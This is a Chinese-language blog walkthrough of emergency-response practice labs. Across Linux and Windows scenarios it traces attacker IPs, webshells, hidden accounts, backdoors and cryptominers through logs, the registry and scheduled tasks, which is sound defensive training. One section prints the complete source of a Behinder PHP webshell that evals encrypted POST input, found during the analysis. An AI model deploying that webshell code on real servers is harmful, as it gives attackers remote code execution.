应急响应靶场练习-知攻善防
前言:学了一些应急响应的知识后,懵懵的,不就是查看一些文件嘛然后分析嘛,但是总感觉并没有完全掌握。于是就想找一些靶场进行练习,之后就利用搜索引擎找一些应急响应的靶场,目前能找到的真不多啊,如果大家知道其他的一些应急响应靶场请评论区留言啊,谢谢各位佬了啊。
文章目录
- 环境下载
- Linux-应急响应靶场复现
- Linux-1
- 官方题解&题目
- 黑客IP
- flag1
- flag2
- flag3
- Linux-2
- 官方题解&题目
- 攻击者IP
- 攻击者修改的管理员明文密码
- 第一次Webshell的连接URL&Webshell的密码
- flag1
- 攻击者后续上传的木马文件
- flag2
- flag3
- Web-应急响应靶场复现
- Web-近源攻击
- 官方题解&题目
- 攻击者的外网地址
- 攻击者的内网跳转地址
- 攻击者使用的限速软件的md5大写
- 攻击者的后门md5大写&flag
- Web-挖矿事件
- 官方题解&题目
- 攻击者的IP地址&端口&时间&方式
- 挖矿程序的md5
- 后门脚本的md5
- 矿池地址&钱包地址
- Web-渗透1
- 官方题解
- 攻击者的shell密码
- 攻击者的IP地址
- 攻击者的隐藏账户
- 攻击者挖矿程序的矿池域名
- Web-渗透2
- 官方题解&题目
- 攻击者的IP地址&攻击者隐藏用户名
- 攻击者的Webshell文件名&密码
- 攻击者的伪QQ号&伪IP&端口
- 攻击类型
- Web-渗透三
- 官方题解&题目
- 攻击者的两个IP地址
- 隐藏用户名称
- flag1
- flag2
- flag3
环境下载
官方微信订阅号合集
通过网盘分享的文件:Windows+Linux(8)
百度网盘:https://pan.baidu.com/s/1lUZ-qxB72A5naMifb6d3Bg?pwd=t8rt 提取码: t8rt
lololowe的博客 本文主要学习参考,内含夸克网盘和天翼云盘下载.此博客内有官方题解,感兴趣的可以查看。
Linux-应急响应靶场复现
Linux-1
官方题解&题目
官方题解
前景:小王急匆匆地找到小张,小王说"李哥,我dev服务器被黑了",快救救我!!
挑战内容:
黑客的IP地址
遗留下的三个flag
账号/密码:defend/defend root/defend
黑客IP
登录系统后,查看/var/log
内有redis
相关的日志,进行过滤分析
Redis 日志中记录了客户端的连接信息(如 Accepted 和 Client closed),可以帮助蓝队识别异常或未授权的连接。
服务器不是已经被黑了嘛,过滤查看已经建立过的连接,发现恶意IP
grep -n Accepted /var/log/redis/redis.log
flag1
在应急响应中,
history
命令是一个重要的工具,读取.bash_history
文件,它记录了当前用户在终端中执行过的命令历史。这些历史记录可以帮助蓝队(防御方)分析攻击者的行为、识别恶意操作,并制定相应的修复措施。
.bash_history
在每个用户的家目录下
若hacker清除其中的history内容,则可以通过查看
/var/log/auth.log
(不同系统文件名不同)
其内容记录了与用户认证和授权相关的事件,包括用户登录、sudo 命令执行、SSH 连接等信息
在root家目录下,查看history
的内容,发现第一个flag
flag2
/etc/rc.d
:Linux 系统中用于管理系统启动和服务运行的目录,通常包含系统初始化脚本和服务管理脚本
/etc/rc.d/rc.local
:系统启动时最后执行的脚本,可用于自定义启动任务
/etc/rc.d/init.d
:存放系统服务的启动脚本
上述发现/etc/rc.d/rc.local
文件被修改,查看其文件内容,发现第二个flag
flag3
redis.conf
在 Redis 建立连接后,可以通过 Redis 命令动态修改其配置,而无需直接修改配置文件。Redis 提供了CONFIG SET
命令来动态调整运行时配置,但这些修改通常是临时的,重启后会失效。如果需要永久修改配置,仍需手动修改 Redis 的配置文件(通常是 redis.conf)。
在找到黑客IP时,发现其与redis建立了连接,查看redis.conf,发现flag3
之后就是运行桌面的题解/题解Script.sh,提交即可
Linux-2
官方题解&题目
官方题解
前景需要:看监控的时候发现webshell告警,领导让你上机检查你可以救救安服仔吗!!
挑战内容
1、提交攻击者IP
2、提交攻击者修改的管理员密码(明文)
3、
3.1、提交第一次Webshell的连接URL(http://xxx.xxx.xxx.xx/abcdefg?abcdefg只需要提交abcdefg?abcdefg)
3.2、提交Webshell连接密码
4、提交数据包的flag1
5、提交攻击者使用的后续上传的木马文件名称
6、提交攻击者隐藏的flag2
7、提交攻击者隐藏的flag3
注意:
第二个靶机提供的账号密码错误,需要自己进入恢复模式,进行修改密码
Centos7重置密码
攻击者IP
登录系统后查看/var/log
,并未发现常见的中间件日志
但是在根目录下发现了一个/www
目录,进入发现一些其他目录
分析以上获取到的目录,可猜测其系统可能安装了宝塔面板
宝塔面板(BT Panel)的根目录通常位于
/www
目录下。这是宝塔面板默认的网站文件、数据库、日志等数据的存储位置。
宝塔常见的其他目录:
/www/server
:存放服务器相关软件(如 Nginx、Apache、MySQL)的安装目录。
/www/wwwlogs
:存放网站日志。
/www/wwwroot
:存放网站文件。
/www/backup
:存放备份文件。
尝试使用bt
命令修改宝塔的密码
访问地址,输入账号密码(上述使用bt
修改获取到的账号/密码uysycv5w
/bt123
)成功登录宝塔
查看网站日志,日志扫描之后使用日志安全分析功能
,查看统计的IP结果,发现先攻击者IP
寻找攻击者IP的话,也可以通过查看统计日志/www/wwwlogs
,寻找到攻击者的IP
cat /www/wwwlogs/*.log |awk '{print $1}' | sort | uniq -c
攻击者修改的管理员明文密码
将靶机IP添加进域名列表,以使得站点可以被访问到
访问站点,发现登录需要账号,密码。猜测其账号密码有可能存储在数据库中。
尝试连接数据库,在宝塔面板可发现数据库的用户名、用户密码以及数据库名。
连接访问
查看其中的tables
,发现一些表根用户有关,使用like
查看
show tables like "%user%";
desc x2_user
查看表的结构
打印用户名和密码即可
'select username,userpassword from x2_user;
发现管理员peadmin
和hash的密码,之前看架构的时候密码为32char,而且根据其特征,推断其有可能为md5
加密,在线解密
md5在线解密1
md5在线解密2
尝试再次登录站点使用获得的账号/密码登录peadmin
/Network@2020
,最后登录成功。故攻击者修改的管理员明文密码为Network@2020
第一次Webshell的连接URL&Webshell的密码
直接在宝塔目录下搜索Webshell,发现其与注册页面和内容相关目录有关
grep -inr '@eval{' /www
个人中心—>后台管理—>内容—>标签管理
在编辑修改处,发现写入的木马。
分析上述得到的内容,发现其很有可能在用户注册的url就是webshell连接的url,尝试使用蚁剑连接
注册页面的url:index.php?user-app-register
使用Antsword
尝试建立连接
flag1
打开/root
目录下的文件数据包1.pcapng
过滤出http
的GET
请求包
追踪流,发现flag1
攻击者后续上传的木马文件
在网络安全中,攻击者上传后门文件时通常使用
POST
请求,而不是GET
请求或其他方式。
过滤出http
且请求方式为POST
的包
可以发现只请求过2个文件,分别是index.php
和version2.php
index.php
典型的蚁剑流量特征,明文传输,极易被waf拦截
version2.php
典型的冰蝎流量特征,相比蚁剑,更加安全,隐蔽。故攻击者后续上传的木马多半是version2.php
flag2
在/www/wwwroot/127.0.0.1/.api/alinotify.php
中找到flag2
在/www
下找到flag2
grep -inr 'flag2' /www
flag3
env
:显示当前 shell 会话中的所有环境变量及其值。
在/root
下找到flag3
最后在/root
目录下,./wp
,提交各部分答案即可
Web-应急响应靶场复现
Web-近源攻击
官方题解&题目
官方题解
前景需要:
小王从某安全大厂被优化掉后,来到了某私立小学当起了计算机老师。某一天上课的时候,发现鼠标在自己动弹,又发现除了某台电脑,其他电脑连不上网络。感觉肯定有学生捣乱,于是开启了应急。
挑战内容:
1.攻击者的外网IP地址
2.攻击者的内网跳板IP地址
3.攻击者使用的限速软件的md5大写
4.攻击者的后门md5大写
5.攻击者留下的flag
靶机用户名/密码 Administrator
/zgsf@2024
攻击者的外网地址
在桌面发现很多office
&word
文件,猜测其中可能带有宏病毒
,打包上传至微步进行分析,发现可疑外网IP8.219.200.130
宏病毒
(Macro Virus)是一种利用应用程序的宏功能传播的恶意代码。它通常嵌入在文档(如 Word、Excel、PowerPoint)的宏中,当用户打开受感染的文档并启用宏时,病毒代码会被执行,从而感染系统或传播到其他文档。
攻击者的内网跳转地址
在桌面发现phpstudy-修复
,但是查看其文件夹没有文件,打开隐藏项,发现test.bat
编辑查看此文件,发现攻击者利用的内网跳转地址192.168.20.129
攻击者使用的限速软件的md5大写
在C
盘下查看可执行程序*.exe
,发现可疑程序p2pover4.34.exe
点击执行,发现为p2p终结者
的安装导向
p2pover
就是P2P终结者,是针对局域网用户的带宽控制程序https://appnee.com/p2pover/
将程序名转为md5
即可
攻击者的后门md5大写&flag
在C
盘中扫描*.exe
,发现sethc.exe
比较可疑,使用python编写的脚本
sethc.exe
(sethc)是一个windows进程文件,按5下shift后,windows就执行了system32下的sethc.exe。
尝试按五下shift
,发现flag
,所以可以确定sethc.exe
为后门程序
最后整理,该hash的hash,运行桌面的解题.exe
提交答案即可
Web-挖矿事件
官方题解&题目
官方题解
前景需要:机房运维小陈,下班后发现还有工作没完成,然后上机器越用越卡,请你帮他看看原因。
挑战题解:
攻击者的IP地址
攻击者开始攻击的时间
攻击者攻击的端口
挖矿程序的md5
后门脚本的md5
矿池地址
钱包地址
攻击者是如何攻击进入的
靶机用户名/密码: Administrator
/zgsf@123
攻击者的IP地址&端口&时间&方式
netstat /ano
查看开放的端口,发现3389
RDP
eventvwr.msc
事件查看器—>日志—>安全日志
过滤出在安全日志中过滤登录失败记录(事件ID为4625
),找到攻击者的IP地址192.168.115.131
且发现登录类型为logonType:3
,所以被攻击的端口应为3389
事件日志中的Logon Type 3表示网络登录,即RDP登录,而RDP默认端口为3389
查看日志时发现时间,且同时登录,所以攻击者攻击方式为RDP爆破
以上操作可使用工具效果更简单
挖矿程序的md5
打开任务管理器,发现有程序CPU占用率90%多,符合挖矿程序的特征
XMRid miner
开源挖矿程序
https://xmrig.com/docs/miner
使用工具hash即可
后门脚本的md5
在开机启动时,会跳出一个终端,且内容好像有一些可疑代码
使用火绒剑
排查启动项,发现systems.bat
火绒剑
:https://www.xzaz.com/soft/9312.html
访问路径,发现后门脚本
矿池地址&钱包地址
查看挖矿程序的配置文件,找到矿池地址和钱包地址
将上述找到的信息整理,提交即可
Web-渗透1
官方题解
官方题解
前景需要:
小李在值守的过程中,发现有CPU占用飙升,出于胆子小,就立刻将服务器关机,并找来正在吃苕皮的hxd帮他分析,这是他的服务器系统,请你找出以下内容,并作为通关条件
挑战内容:
1.攻击者的shell密码
2.攻击者的IP地址
3.攻击者的隐藏账户名称
4.攻击者挖矿程序的矿池域名(仅域名)
5.有实力的可以尝试着修复漏洞
windows账号/密码 :administrator
/Zgsf@admin.com
攻击者的shell密码
桌面有phpstudy
,进入根目录下,然后使用D盾
或者河马
扫描网站根目录,发现shell.php
为冰蝎的shell
查看shell.php
<?php
@error_reporting(0);
session_start();
$key="e45e329feb5d925b"; //该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond
$_SESSION['k']=$key;
session_write_close();
$post=file_get_contents("php://input");
if(!extension_loaded('openssl'))
{
$t="base64_"."decode";
$post=$t($post."");
for($i=0;$i<strlen($post);$i++) {
$post[$i] = $post[$i]^$key[$i+1&15];
}
}
else
{
$post=openssl_decrypt($post, "AES128", $key);
}
$arr=explode('|',$post);
$func=$arr[0];
$params=$arr[1];
class C{public function __invoke($p) {eval($p."");}}
@call_user_func(new C(),$params);
?>
Webshell的连接密码是冰蝎的默认密码rebeyond
攻击者的IP地址
查看小P
的日志,发现nginx
日志为空,则其windows应该使用的是Apache服务,查看其apache日志
搜索webshell文件的访问记录,发现恶意IP-192.168.126.1
攻击者的隐藏账户
net user
只能查看普通用户,无法查看到隐藏用户。可利用lusrmgr.msc
或者compmgmt.msc
工具查看,不过这两工具不支持Windows家庭版,因此更加推荐查注册表:HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names
注册表方式:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList
:可以通过此目录查看到用户的SID
,然后使用wmic
命令匹配查找
wmic useraccount where sid='key' get name
最后发现隐藏用户名hack168
也可以通过wmic useraccount
查看所有用户信息,包括隐藏用户。
隐藏用户名后一般有
$
标志
攻击者挖矿程序的矿池域名
在C
盘下搜索应用程序时,发现可疑应用程序Kuang.exe
,此应用程序无其他配置文件,而且运行后,系统会卡死,所以可以断定此程序为挖矿程序
从该程序的图标可以推测该程序是使用PyInstaller工具打包的的,因此可以使用pyinstxtractor脚本提取.pyc
文件
PyInstaller
:https://github.com/extremecoders-re/pyinstxtractor
可以在相对应的目录下找到分离出来的.pyc
文件
提取出PyInstaller打包的pyc文件后,可以使用uncompyle6
工具反编译pyc文件
安装
uncopyle6
也很简单 。使用指令pip install uncompyle6
即可,不过要注意python
的版本,不然会安装成功,尽量安装3.7
及以上的版本
uncompyle6
:https://github.com/rocky/python-uncompyle6
然后使用uncompyle6
反编译pyc
文件即可,发现攻击者挖矿程序的矿池域名http://wakuang.zhigongshanfang.top
最后运行解题.exe
提交答案即可
Web-渗透2
官方题解&题目
官方题解
前景需要:小李在某单位驻场值守,深夜12点,甲方已经回家了,小李刚偷偷摸鱼后,发现安全设备有告警,于是立刻停掉了机器开始排查。
这是他的服务器系统,请你找出以下内容,并作为通关条件:
1.攻击者的IP地址(两个)?
2.攻击者的webshell文件名?
3.攻击者的webshell密码?
4.攻击者的伪QQ号?
5.攻击者的伪服务器IP地址?
6.攻击者的服务器端口?
7.攻击者是如何入侵的(选择题)?
8.攻击者的隐藏用户名?
靶机用户名/密码: administrator
/Zgsf@qq.com
攻击者的IP地址&攻击者隐藏用户名
登录小P
,查看日志,发现nginx
日志为空,分析apache
日志即可
查看apache
日志发现,攻击者进行目录扫描,发现第一个攻击者的IP192.168.126.135
使用蓝队工具箱中的windows日志分析功能分析远程登录成功的日志,获取攻击者的第二个IP192.168.126.1
和隐藏用户hack887
知攻善防蓝队工具箱:https://github.com/ChinaRan0/BlueTeamTools?tab=readme-ov-file
攻击者的Webshell文件名&密码
在分析日志时,在最后发现攻击者访问system.php
文件 ,此文件很有可能是webshell文件。在网站根目录/www
下搜索找到system.php
查看system.php
,根据其内容断定为哥斯拉webshell
,找到webshell密码为hack6618
攻击者的伪QQ号&伪IP&端口
攻击者可能在系统中登陆过qq
,而qq会在每个用户登录后自动往当前用户的Documents\Tencent Files\
目录下创建一个以QQ号命名的文件夹,因此可以搜索进入该目录,查看是否存在以QQ号命名的文件夹:
查看其文件夹内容,在FileRecv
(接收文件)目录下找到了frp
(内网穿透工具),故此QQ账号可能是攻击者伪造的账号777888999321
查看其配置文件frp.ini
,发现伪造的IP256.256.66.88
和端口65536
攻击类型
在查看ftp日志时C:\phpstudy_pro\Extensions\FTP0.9.60\Logs
,发现利用ftp
上传system.php
shell文件
统一一下信息,运行桌面的解题.exe
提交答案即可
Web-渗透三
官方题解&题目
官方题解
前景需要:小苕在省护值守中,在灵机一动情况下把设备停掉了,甲方问:为什么要停设备?小苕说:我第六感告诉我,这机器可能被黑了。
这是他的服务器,请你找出以下内容作为通关条件:
攻击者的两个IP地址
隐藏用户名称
黑客遗留下的flag【3个】
本虚拟机的考点不在隐藏用户以及ip地址,仔细找找把。
靶机用户名/密码: administrator
/xj@123456
攻击者的两个IP地址
登录后发现小P
,查看其日志,发现192.168.75.129
对网站进行了目录扫描,所以其为攻击者的第一个IP
使用windows日志分析小工具,查看登录失败的日志,发现攻击者的第二个IP192.168.75.130
和攻击者的隐藏用户名hack6618
windodws-logs-analysis
隐藏用户名称
上述第一问中已经找到
wmic useraccount get name
可快速查看所有用户名,隐藏用户最后有$
标识
flag1
使用河马
扫描隐藏用户下的文件,发现恶意文件system.bat
查看其文件,找到第一个flag1
flag2
.bat
为批处理文件,这个批处理的的作用是向网站目录中写入一个webshell,但是写webshell通常都是直接写入文件,很少用一个批处理脚本间接写入,因此可以推测这个批处理脚本可能关联了自启动或者计划任务,以实现webshell的持久化。
windows+r
输入taskschd.msc
查看任务计划
发现两个计划任务和system.bat
有关联
并在计划任务的描述中找到flag2
,两个计划任务中的flag一模一样
flag3
开启小P
,访问网站是一个网页,尝试访问后台,需要账号/密码
登录数据库查找用户名和密码,小P
中有 数据库的账号&密码
登录后在相对应的用户表中找到了第三个flag
最后运行桌面的题解.exe
提交即可